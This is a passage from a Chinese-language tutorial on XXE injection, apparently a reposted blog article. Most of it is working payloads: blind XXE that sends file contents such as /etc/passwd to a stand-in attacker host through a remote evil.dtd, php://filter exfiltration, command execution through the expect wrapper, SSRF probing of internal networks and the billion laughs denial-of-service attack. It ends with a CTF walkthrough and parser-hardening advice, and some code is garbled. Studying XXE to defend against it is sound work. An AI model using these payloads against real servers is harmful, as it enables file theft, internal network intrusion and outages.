file_put_contents("test.txt", $_GET[‘file‘]) ; ?>
创建index.php写入以下内容:
<?php
$xml=<<<EOF
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///C:/test.txt">
<!ENTITY % remote SYSTEM "http://localhost/test.xml">
%remote;
%all;
%send;
]>
EOF;
$data = simplexml_load_string($xml) ;
echo "<pre>" ;
print_r($data) ;
?>
创建test.xml并写入以下内容:
<!ENTITY % all "<!ENTITY % send SYSTEM ‘http://localhost/test.php?file=%file;‘>">
当访问http://localhost/index.php, 存在漏洞的服务器会读出text.txt内容,发送给攻击者服务器上的test.php,然后把读取的数据保存到本地的test.txt中。
blind xxe漏洞方案2:
可以将文件内容发送到远程服务器,然后读取。
<?xml verstion="1.0" encoding="utf-8"?> <!DOCTYPE a[ <!ENTITY % f SYSTEM "http://yourhost/evil.dtd"> %f; ]> <a>&b;</a> $data = simplexml_load_string($xml); print_r($data);
远程服务器的evil.dtd文件内容
<!ENTITY b SYSTEM "file:///etc/passwd">
blind xxe漏洞方案3:
可以使用外带数据通道提取数据,先使用php://filter获取目标文件的内容,然后将内容以http请求发送到接受数据的服务器(攻击服务器)xxx.xxx.xxx。
<?xml version=”1.0”?> <!DOCTYPE ANY [ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=./target.php"> # /etc/issue <!ENTITY % dtd SYSTEM "http://xxx.xxx.xxx/evil.dtd"> %dtd; %send; ]>
evil.dtd的内容,内部的%号要进行实体编码成%。
<!ENTITY % all “<!ENTITY % send SYSTEM ‘http://xxx.xxx.xxx/?%file;’>” > %all;
有报错直接查看报错信息。
无报错需要访问接受数据的服务器中的日志信息,可以看到经过base64编码过的数据,解码后便可以得到数据。
这里列举几个案例:
恶意引入外部实体1:
**XML内容**
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY b SYSTEM "file:///etc/passwd">
]>
<aaa>&b;</aaa>
恶意引入外部实体2:
**XML内容**
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY % d SYSTEM "http://yourhost/evil.dtd">
%d;
]>
<aaa>&b;</aaa>
DTD文件(evil.dtd)内容:
<!ENTITY b SYSTEM "file:///etc/passwd">
恶意引入外部实体3
**XML内容**
<?xml verstion="1.0" encoding="utf-8"?>
<!DOCTYPE a SYSTEM "http://yourhost/evil.dtd">
]>
<c>&b;</c>
DTD文件内容
<!ENTITY b SYSTEM "file:///etc/passwd">
恶意引入外部实体(4)
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]>
<foo>&xxe;</foo>
危害2:命令执行
php环境下,xml命令执行要求php装有expect扩展。而该扩展默认没有安装。
<?php $xml = <<<EOF <?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY f SYSTEM "except://ls"> # id ]> <x>&f;</x> EOF; $data = simplexml_load_string($xml); print_r($data); ?>
该CASE是在安装expect扩展的PHP环境里执行系统命令,其他协议也有可能可以执行系统命令。
危害3:内网探测/SSRF
由于xml实体注入攻击可以利用http://协议,也就是可以发起http请求。可以利用该请求去探查内网,进行SSRF攻击。
<?php $xml = <<<EOF <?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY f SYSTEM "http://192.168.1.1:80/"> ]> <x>&f;</x> EOF; $data = simplexml_load_string($xml); print_r($data); ?>
危害4:攻击内网网站
该CASE是攻击内网struts2网站,远程执行系统命令。
危害5:拒绝服务攻击
2. To crash the server / Cause denial of service:
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
上面样例代码2中的XXE漏洞攻击就是著名的’billion laughs’ 攻击。
(https://en.wikipedia.org/wiki/Billion_laughs),该攻击通过创建一项递归的 XML 定义,在内存中生成十亿个”Ha!”字符串,从而导致 DDoS 攻击。
原理为:构造恶意的XML实体文件耗尽可用内存,因为许多XML解析器在解析XML文档时倾向于将它的整个结构保留在内存中,解析非常慢,造成了拒绝服务器攻击。除了这些,攻击者还可以读取服务器上的敏感数据,还能通过端口扫描,获取后端系统的开放端口。
0x05 XXE漏洞修复与防御
xxe漏洞存在是因为XML解析器解析了用户发送的不可信数据。然而,要去校验DTD(document type definition)中SYSTEM标识符定义的数据,并不容易,也不大可能。大部分的XML解析器默认对于XXE攻击是脆弱的。因此,最好的解决办法就是配置XML处理器去使用本地静态的DTD,不允许XML中含有任何自己声明的DTD。通过设置相应的属性值为false,XML外部实体攻击就能够被阻止。因此,可将外部实体、参数实体和内联DTD 都被设置为false,从而避免基于XXE漏洞的攻击。
方案一:使用开发语言提供的禁用外部实体的方法
PHP
libxml_disable_entity_loader(true);
JAVA
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
Python
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
方案二:过滤用户提交的XML数据
过滤关键词:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC。
0x06 一道CTF题目
题目链接:
目的很明确获取/home/ctf/flag.txt的内容
下面分析源码
<script> function XHR() { var xhr; try {xhr = new XMLHttpRequest();} catch(e) { var IEXHRVers =["Msxml3.XMLHTTP","Msxml2.XMLHTTP","Microsoft.XMLHTTP"]; for (var i=0,len=IEXHRVers.length;i< len;i++) { try {xhr = new ActiveXObject(IEXHRVers[i]);} catch(e) {continue;} } } return xhr; } function send(){ evil_input = document.getElementById("evil-input").value; var xhr = XHR(); xhr.open("post","/api/v1.0/try",true); xhr.onreadystatechange = function () { if (xhr.readyState==4 && xhr.status==201) { data = JSON.parse(xhr.responseText); tip_area = document.getElementById("tip-area"); tip_area.value = data.task.search+data.task.value; } }; xhr.setRequestHeader("Content-Type","application/json"); xhr.send(‘{"search":"‘+evil_input+‘","value":"own"}‘); } </script>
很明显是AJAX异步传送数据
在一般的异步网站都会有异步数据与服务器的交互,一般传送数据为json但如果将传送的数据格式改为xml。有很大的可能服务器会解析你异步上传的xml脚本执行想要干的事
解题步骤:
要先修改Content-Type: application/xml
然后加入xml脚本即可
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY myentity SYSTEM "file:///home/ctf/flag.txt" >]> <abc>&myentity;</abc>
得到返回结果
<abc>CTF{XxE_15_n0T_S7range_Enough}
</abc>
0x07 参考链接
https://security.tencent.com/index.php/blog/msg/69
https://thief.one/2017/06/20/1/
https://www.jianshu.com/p/7325b2ef8fc9
https://blog.csdn.net/qq_31481187/article/details/53028221
http://netsecurity.51cto.com/art/201702/531996.htm
https://www.cnblogs.com/wfzWebSecuity/p/6681114.html
https://www.jianshu.com/p/7325b2ef8fc9
原文:https://www.cnblogs.com/-chenxs/p/11374528.html